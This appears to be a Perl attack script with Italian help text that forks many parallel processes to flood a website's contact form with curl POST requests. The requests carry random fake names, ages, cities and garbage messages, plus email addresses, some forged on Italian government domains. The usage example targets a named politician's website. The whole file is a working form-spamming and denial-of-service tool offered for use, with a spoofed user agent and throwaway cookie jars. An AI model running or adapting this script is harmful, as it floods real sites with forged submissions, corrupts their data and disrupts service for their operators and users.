DTxeMFJK

1#!/usr/bin/perl
2     
3if ($#ARGV != 2) {
4print "---------------------- H E L P ----------------------\r\n";
5print "Uso: sito - numeri messaggi - numero threads \r\n";
6print "Esempio: http://www.matteosalvini.eu 10000 100\r\n",;
7print "---------------------- H E L P ----------------------\r\n";
8exit;
9}
10     
11my $url = $ARGV[0];
12my $messaggi = $ARGV[1];
13my $multipli = $ARGV[2];
14
15if ($url =~ /http:\/\//i || $url =~ /https:\/\//i) {
16}else{
17print "devi inserire l'indirizzo assoluto compreso http https o www\r\n";
18exit;
19}
20
21&comincia($url, $messaggi, $multipli);
22
23sub comincia() {
24my $url = $_[0];
25my $messaggi = $_[1];
26my $multi = $_[2];
27my @childs;
28my $maxproc=$multi;
29my $numproc=0;
30for (my $i=0; $i<=$messaggi; $i++) {
31if(($pid=fork()) == 0)
32   {
33   &manda ($url);
34   exit 0;
35   }
36   push(@childs, $pid);
37   $numproc++;
38   while($numproc >= $maxproc)
39   {
40   waitpid(shift(@childs), 0);
41   $numproc--;
42   }
43  }
44while($k=shift(@childs))
45  {
46  waitpid($k, 0);
47 }
48}
49
50sub manda() {
51my $url = $_[0];
52my $cookiejar = &cookies;
53my $nome_cognome = &username;
54my $email = &email;
55my $eta = &eta;
56my $citta = &citta;
57my $messaggio = &message;
58my $uagent = "Mozilla/5.0 (Windows NT 6.1; rv:24.0) Gecko/20100101 Firefox/24.0";
59my $data = ("is_submit_2=1&input_8=".$nome_cognome."&input_2=".$email."&input_3=".$eta."&input_7=".$citta."&input_5=".$messaggio."&input_6.1=Privacy Policy&input_9.1=ACCONSENTE ALL\&\#039\;INVIO DI COMUNICAZIONI ELETTORALI&Submit");
60$expl = `curl -ks -m 10 -A "$uagent" -b $cookiejar -d "$data" --url "$url" 2>/dev/null`;
61if ($expl =~ /Thanks for contacting us/i){
62print "messaggio inviato con successo\r\n";
63 }
64}
65sub username() {
66srand();
67my $user;
68my $user1;
69my $user2;
70#sleep(1);
71@randomic = ('a'..'z');
72$user1.= $randomic[int rand @randomic] for 1..10;
73$user2.= $randomic[int rand @randomic] for 1..8;
74$user = $user1." ".$user2;
75return $user;
76}
77
78sub names() {
79srand();
80my $user;
81#sleep(1);
82@randomic = ('a'..'z');
83$user.= $randomic[int rand @randomic] for 1..12;
84return $user;
85}
86
87sub email() {
88srand();
89my $email;
90my $maill;
91my @mail = ('gmail.com', 'aruba.it', 'yahoo.com', 'libero.it', 'posteitaliane.it', 'governo.gov.it', 'senato.gov.it', 'italia.gov.it');
92$maill = $mail[rand @mail];
93$email = &names."@".$maill;
94return $email;
95}
96
97sub eta() {
98srand();
99my $eta;
100$a="18";
101$b="91";
102$eta = int( rand ($b-$a) ) + $a;
103return $eta;
104}
105
106sub citta() {
107srand();
108my $citta;
109my @cittaa = ('Milano', 'Napoli', 'Palermo', 'Pisa', 'Firenze', 'Roma', 'Bologna', 'Treviso', 'Sassari', 'Vicenza', 'Biella' );
110$citta = $cittaa[rand @cittaa];
111return $citta;
112}
113
114sub message() {
115srand();
116my $message;
117#sleep(1);
118@randomic = ('a'..'z', ' ');
119$message.= $randomic[int rand @randomic] for 1..990;
120return $message;
121}
122
123sub cookies() {
124srand();
125my $cookie1;
126my $cookie;
127#sleep(1);
128@randomic = ('0'..'9');
129$cookie1.= $randomic[int rand @randomic] for 1..10;
130$cookie = $cookie1."-cookies.tzz";
131return $cookie;
132}